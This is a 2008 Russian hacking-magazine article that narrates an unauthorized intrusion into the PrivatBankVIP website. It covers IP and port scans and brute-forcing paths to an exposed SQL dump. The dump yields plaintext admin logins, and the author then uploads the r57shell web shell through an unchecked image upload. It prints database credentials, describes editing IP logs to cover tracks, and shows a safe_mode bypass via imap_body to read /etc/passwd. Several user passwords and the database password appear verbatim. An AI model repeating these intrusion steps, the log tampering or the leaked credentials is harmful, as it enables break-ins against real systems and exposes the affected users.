Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 116, АВГУСТ 2008 г.

Там, где VIP нога ступала

furang «furiousangel»

Хакер, номер #116, стр. 116-062-1

В гостях у Приватбанка

Казалось бы, на важных ресурсах все должно работать, как часы, ан нет – и на них встречаются непростительные ошибки, которые приводят к плачевному исходу. Исходу, заставляющему админов колотиться головой о клаву, а хакеров – потешаться над ресурсом. На этот раз под прицел попал privatbankvip.com.ua.

Как говорится на сайте, «ПриватБанкVIP» создан для предоставления рекомендаций по посещению сети предприятий, соответствующих высокому статусу элитных заведений Украины и России. Дает право пользования привилегированными тарифами при оплате платежными картами ПриватБанка, МоскомПриватБанка и ПриватИнвеста.

Пристреливаемся

Сайт выглядит довольно просто – минимум красок, flash-анимация, самописный движок форума. На первый взгляд придраться не к чему. Полазив по ссылкам, я попробовал заюзать различные SQL-инъекции типа:

http://privatbankvip.com.ua/inpage.php?pn=11,

но везде меня ждал облом. Нештатные ситуации обрабатывались нормально. Никакого ворнинга не выскочило. Искать досконально, признаюсь, было лень.

Следующий шаг подразумевал обратиться за помощью к domainsdb. Вбил privatbankvip.com.ua. Сухой ответ гласил: «0 доменов».

«found 0 domain entrys on NS:privatbankvip.com.ua»

Досадно, но переживем. Идем дальше. Я резолвнул IP-адрес privatbankvip.com.ua (217.117.74.152), и в голову пришла привычная мысль просканить весь диапазон 217.117.74.*. Вот результат:

217.117.74.2 : ns01.privat-online.net (.NET | Network)

217.117.74.6 : hub.privat-online.net (.NET | Network)

217.117.74.18 : mail.duep.edu (.EDU | US Educational)

217.117.74.34 : kross.duep.edu (.EDU | US Educational)

217.117.74.40 : mail.tez.dp.ua (.UA | Ukraine)

217.117.74.42 : mail.prostocredit.com (.COM | US Commercial)

217.117.74.43 : mail.slav-registr.dp.ua (.UA | Ukraine)

217.117.74.65 : dpf.foxtrot.dp.ua (.UA | Ukraine)

217.117.74.70 : hosting.privat-online.net (.NET | Network)

217.117.74.82 : mail.74-82.privat-online.net (.NET | Network)

217.117.74.97 : mail.dmz-petrovka.dp.ua (.UA | Ukraine)

217.117.74.152 : privatbankvip.com.ua (.UA | Ukraine)

217.117.74.160 : fw.dnipro.fxclub.org (.ORG | Non-Profit Organization)

Уже что-то. Обратил внимание на 217.117.74.70: hosting.privat-online.net. Слово «хостинг» в имени домена звучало многообещающе. После беглого осмотра hosting.privat-online.net на нем была обнаружена потенциальная угроза SQL-инъекции:

http://hosting.privat-online.net/news.php?id='2.

И опять попытка не увенчалась успехом. Да, это был слепой SQL. Да, вылез warning. Но поигравши с параметром id, я так и не смог добиться чего-либо серьезного. Нужен был другой подход (на остальных хостах ничего полезного для взлома тоже не оказалось).

Я уже было отчаялся, но тут у меня возникла вполне здоровая мысль просканировать порты. Что и было сделано.

Port 21 (ftp) ... Ok ! (port 21 - File Transfer [Control])

Port 110 (pop3) ... Ok ! (port 110 - Post Office Protocol - Version 3)

Port 25 (smtp) ... Ok ! (port 25 - Simple Mail Transfer)

Port 119 (nntp) ... Ok ! (port 119 - Network News Transfer Protocol)

Port 80 (http-www) ... Ok ! (port 80 - World Wide Web HTTP)

В принципе, ничего интересного, кроме ftp-сервера. Для пущей радости я попробовал посмотреть что внутри и...

230 access granted for anonymous.

Надежды и новые разочарования

Сервер без проблем пускал внутрь под анонимом. В корне FTP была папка pub, а в ней – папки Remote Administrator 2.1 и usergate. Что в них находилось – нетрудно догадаться. Увы, толку все равно было мало. Залить в каталоги ничего нельзя. Идеи кончились. Зато сам факт захода на сервер вселял в меня надежду, что стоит еще поискать баги.

Я стукнул в асю к моему приятелю и рассказал про итоги пока что неудачного взлома. Он предложил воспользоваться сканером для поиска багов. Под рукой ничего подходящего у меня не было, а кодить – лениво. Пришлось позаимствовать у друга. Через пару минут на мыло пришел архивчик, который содержал небольшой сканер, написанный на перле. А также баг-лист.

Задумано – сделано. После непродолжительной работы сканер обнаружил интересные каталоги:

privatbankvip.com.ua/user/

privatbankvip.com.ua/news/

privatbankvip.com.ua/manual/

privatbankvip.com.ua/logs/

privatbankvip.com.ua/info/

privatbankvip.com.ua/inc/

privatbankvip.com.ua/img/

privatbankvip.com.ua/forum/

privatbankvip.com.ua/phpmyadmin/lang/

privatbankvip.com.ua/pma/

Ничего любопытного, кроме phpmyadmin'а. Меня удивило, что не нашлась админка (в том, что она должна быть, я не сомневался). Тогда я сам попробовал вбить privatbankvip.com.ua/admin.php – вот и она! Но тут меня спрашивали о каком-то пароле, которого я не знал.

Взлом с продолжением

Все бы, наверное, на этом и закончилось, и смысла в статье было бы ноль, если бы через полторы недели я не вспомнил о «незавершенном деле». После небольшого трепа по аське все с тем же приятелем пришла «коллективная» мысль поискать на сайте дампы баз. Глупо, конечно, но все же...

Вручную искать – не по-хакерски, поэтому в ход снова пошел сканер. Только пришлось создать новую базу баг-листа. Представлю ее ключевой фрагмент.

/db.sql

/dump.sql

/base.sql

/bank.sql

/privat.sql

/privatbank.sql

/privatbankvip.sql

/privatbankvip.com.sql

/privatbankvip.com.ua.sql

Итак! Запуск и ожидание! Когда сканер выплюнул результат, я чуть не подавился котлетой (а как ты хотел, каждый уважающий себя хакер ест прямо за компом).

http://privatbankvip.com.ua/privatbankvip.sql

Быстро вбив найденный URL в адресную строку оперы, я стал ждать заветной фразы «Документ не найден». Но браузер выдал мне страницу такого содержания:

-- MySQL dump 10.9

--

-- Host: localhost Database: privatbankvip

-- ------------------------------------------------------

-- Server version 4.1.9-log

/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;

/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;

/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE="NO_AUTO_VALUE_ON_ZERO,MYSQL323" */;

--

-- Table structure for table `vct_a`

--

DROP TABLE IF EXISTS `vct_a`;

CREATE TABLE `vct_a` (

`id` int(10) unsigned NOT NULL auto_increment,

`folder` int(10) unsigned NOT NULL default '0',

`name` varchar(100) NOT NULL default '',

`date` int(10) unsigned NOT NULL default '0',

PRIMARY KEY (`id`),

KEY `folder` (`folder`)

) TYPE=MyISAM;

....................

Удача! Вот он, дамп! Чуть ниже было:

/*!40000 ALTER TABLE `vct_access` DISABLE KEYS */;

LOCK TABLES `vct_access` WRITE;

INSERT INTO `vct_access` VALUES

('sergey_r','90993829ax',1146745144,'10.1.111.105','1111111111111111'),

('serg1994','97130ecd',1123567700,'10.1.111.134','111111111111110'),

('tosha','saburban33',1145012488,'195.248.163.246','1111111111111111'),

('dima_p','ea94a14b',1146749816,'10.1.111.105','111111111111110'),

('natali','f6a8f1dd',1146745660,'10.1.111.95','000000000001000');

UNLOCK TABLES;

/*!40000 ALTER TABLE `vct_access` ENABLE KEYS */;

А внутри...

Я не верил своим глазам: банковские аккаунты в открытом виде! Я моментом написал коллеге о находке. Пара логин:пасс «sergey_r:90993829ax» давала право на вход в админку, представляющую собой скудную возможность редактирования страниц сайта через взаимодействие с базой. В информационном разделе предлагалось добавить статью и установить картинку. Кликнув на кнопку «ОБЗОР», я быстро нашел в дебрях своего винта знаменитый шелл от RST r57shell и нажал «сохранить». Все прошло без запинки. Расширение «картинки» не проверялось. По приглашению «добавить еще статью» я понял, что шелл залился, осталось только найти куда. Я обратил внимание, что список увеличился и кликнул по новому элементу. Тут сразу бросилась в глаза надпись «рисунок» (вместо картинки, как полагалось). Скопировав адрес «рисунка»

http://privatbankvip.com.ua/img/user/vcg_user353.php

и вбив его в строку браузера, я мог лицезреть полноценный шелл! Как выяснилось позже, сервер крутился на FreeBSD 6.2 да и еще safe_mod=ON, так что на права рута можно было не надеяться (впрочем, мне они были и не нужны).

Я порыскал по файлам и все-таки нашел параметры mysql_connect().

$sqlbase='privatbankvip';

$sqlhost='localhost';

$sqllogin='privatbankvip';

$sqlpass='privatvip';

Потом залил на сервер sql.php. Мне просто хотелось взглянуть на их базы.

Первым делом зашел в таблицу vct_access, так как, судя по имени столбца lastip, можно было предположить, что здесь хранится последний IP, с которого заходили пользователи. Так и есть. Не будем же оставлять в логах мой «проксик». Поэтому – бережно пофиксил IP из дампа.

Больше ничего стоящего на глаза не попалось. Порыскав по файлам и директориям и слив все, что вызвало интерес, я с сожалением для себя обнаружил, что выше /var/www/privatbankvip подняться невозможно. Жаль. Наверняка, там тоже было, чем поживиться.

Тогда я вспомнил про обход ограничений safe_mode с помощью imap_list. Вставив в качестве пути «/var/www/», я нажал «проверить». Через 15 секунд моему взору открылся слепок файлов и каталогов /var/www/ с их подкаталогами. Если работал imap_list, то была высока вероятность, что получится прочитать любой файл с помощью imap_body. Я подставил /etc/passwd, нажал «проверить» – и вскоре передо мной был /etc/passwd. Теперь у меня была возможность читать почти любой файл на сервере, зная его полный путь (что не так уж и мало, при условии, что у меня были полные пути всех файлов из /var/www/).

А вот и кусок заветного /etc/passwd:

# $FreeBSD: src/etc/master.passwd,v 1.39 2004/08/01 21:33:47 markm Exp $

#

root:*:0:0:Charlie &:/root:/bin/csh

toor:*:0:0:Bourne-again Superuser:/root:

dimka:*:1002:20:User &:/home/dimka:/bin/sh

adk:*:1000:1000::/usr/local/www/adk:/bin/sh

webmin:*:1003:1001:Administrator WEBMIN:/www/webmin:/bin/sh

oleg421:*:1004:1002::/www/oleg421:/bin/sh

pconsult:*:1005:1003:Приват Консалтинг:/www/pconsult:/bin/sh

......

P.S.

Взлом был совершен в прошлом году. Но, как ни странно, и почти год спустя удалось повторить тот же «подвиг». Ничего не изменилось! О чем думают админы, можно только догадываться. Это учитывая, что я их предупредил...

WARNING

Вся информация выложена с целью указать на элементарные ошибки и не может расцениваться как призыв к действию. Ни автор статьи, ни редакторы журнала не несут ответственность за то, что ты можешь сотворить.

INFO

Довольно часто имя ресурса (указанное полностью или частично) является «ключом» к самому ресурсу. Например, – имя дампа и логин:пасс к БД.

VIDEO

Как всегда, на нашем диске ты найдешь живое видео по взлому. Если по тексту что не ясно, то просим к просмотру.

Содержание
ttfb: 5.9092044830322 ms